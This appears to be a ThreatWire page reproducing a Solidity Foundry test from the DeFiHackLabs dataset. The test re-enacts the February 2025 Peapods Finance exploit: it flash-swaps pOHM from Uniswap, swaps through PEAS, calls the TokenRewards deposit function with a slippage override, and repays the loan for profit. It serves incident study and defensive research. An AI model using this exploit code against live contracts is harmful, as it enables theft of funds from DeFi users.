Skip to content
THREATWIRE

Public reproduction file

src/test/2025-02/PeapodsFinance_exp.sol

Public reproduction file for dataset entry Peapods Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-02/PeapodsFinance_exp.sol103 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~ $3,500
8// Attacker : https://etherscan.io/address/0xedee6379fe90bd9b85d8d0b767d4a6deb0dc9dcf
9// Attack Tx : https://etherscan.io/tx/0x2c1a19982aa88bee8a5d9a5dfeb406f2bfe1cfc1213f20e91d91ce3b55c86cc5
11// @Analysis
12// Post-mortem : https://blog.solidityscan.com/peapods-finance-hack-analysis-bdc5432107a5
14address constant pOHM = 0x88E08adB69f2618adF1A3FF6CC43c671612D1ca4;
15address constant PEAS = 0x02f92800F57BCD74066F5709F1Daa1A4302Df875;
16address constant TokenRewards = 0x7d48D6D775FaDA207291B37E3eaA68Cc865bf9Eb;
18address constant UniswapV2Pair = 0x80e9C48ec41AF7a0Ed6Cf4f3ac979f3538021608;
19address constant UniswapV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
21contract PeapodsFinance_exp is Test {
22 address attacker = makeAddr("attacker");
24 function setUp() public {
25 vm.createSelectFork("mainnet", 21_800_591 - 1);
27 vm.label(attacker, "Attacker");
28 vm.label(pOHM, "pOHM");
29 vm.label(PEAS, "PEAS");
30 vm.label(TokenRewards, "TokenRewards");
31 vm.label(UniswapV2Pair, "Uniswap V2: Pair");
32 vm.label(UniswapV3Router, "Uniswap V3: Router");
34 vm.deal(attacker, 1 ether);
35 }
37 function testExploit() public {
38 emit log_named_decimal_uint("Before balance of pOHM", IERC20(pOHM).balanceOf(attacker), 18);
40 vm.startPrank(attacker);
41 AttackerC attC = new AttackerC(attacker);
42 attC.attack();
43 vm.stopPrank();
45 emit log_named_decimal_uint("After balance of pOHM", IERC20(pOHM).balanceOf(attacker), 18);
46 }
49contract AttackerC {
50 address attacker;
52 constructor(address _attacker) {
53 attacker = _attacker;
54 }
56 function attack() public {
57 IUniswapV2Pair(UniswapV2Pair).swap(0, 9_420_000_000_000_000_000_000, address(this), hex"61");
59 uint256 balanceOfpOHM = IERC20(pOHM).balanceOf(address(this));
60 IERC20(pOHM).transfer(attacker, balanceOfpOHM);
61 }
63 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
64 IERC20(pOHM).approve(UniswapV3Router, amount1);
66 Uni_Router_V3.ExactInputSingleParams memory params = Uni_Router_V3.ExactInputSingleParams({
67 tokenIn: pOHM,
68 tokenOut: PEAS,
69 fee: 10_000,
70 recipient: address(this),
71 deadline: block.timestamp + 100,
72 amountIn: amount1,
73 amountOutMinimum: 1,
74 sqrtPriceLimitX96: 0
75 });
76 uint256 amountOut = Uni_Router_V3(UniswapV3Router).exactInputSingle(params);
77 // console.log("amountOut: ", amountOut);
79 ITokenRewards(TokenRewards).depositFromPairedLpToken(0, 999);
81 uint256 balanceOfPEAS = IERC20(PEAS).balanceOf(address(this));
82 IERC20(PEAS).approve(UniswapV3Router, balanceOfPEAS);
84 Uni_Router_V3.ExactInputSingleParams memory params2 = Uni_Router_V3.ExactInputSingleParams({
85 tokenIn: PEAS,
86 tokenOut: pOHM,
87 fee: 10_000,
88 recipient: address(this),
89 deadline: block.timestamp + 100,
90 amountIn: balanceOfPEAS,
91 amountOutMinimum: 1,
92 sqrtPriceLimitX96: 0
93 });
94 uint256 amountOut2 = Uni_Router_V3(UniswapV3Router).exactInputSingle(params2);
95 // console.log("amountOut2: ", amountOut2);
97 IERC20(pOHM).transfer(UniswapV2Pair, 9_448_345_035_105_315_947_844);
98 }
101interface ITokenRewards {
102 function depositFromPairedLpToken(uint256 _amountTknDepositing, uint256 _slippageOverride) external;

Analysis

Dataset entry

Public Foundry test for “Peapods Finance” (2025-02-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xedee6379fe90bd9b85d8d0b767d4a6deb0dc9dcf

  • Attack Tx

    0x2c1a19982aa88bee8a5d9a5dfeb406f2bfe1cfc1213f20e91d91ce3b55c86cc5

File record

Name
Peapods Finance
Path
src/test/2025-02/PeapodsFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e53fa6c7c298b9f46926c9bccf42aea42550cec6
Language
Solidity
Size
104 lines
Date
2025-02-08
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-02/PeapodsFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e53fa6c7c298b9f46926c9bccf42aea42550cec6, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.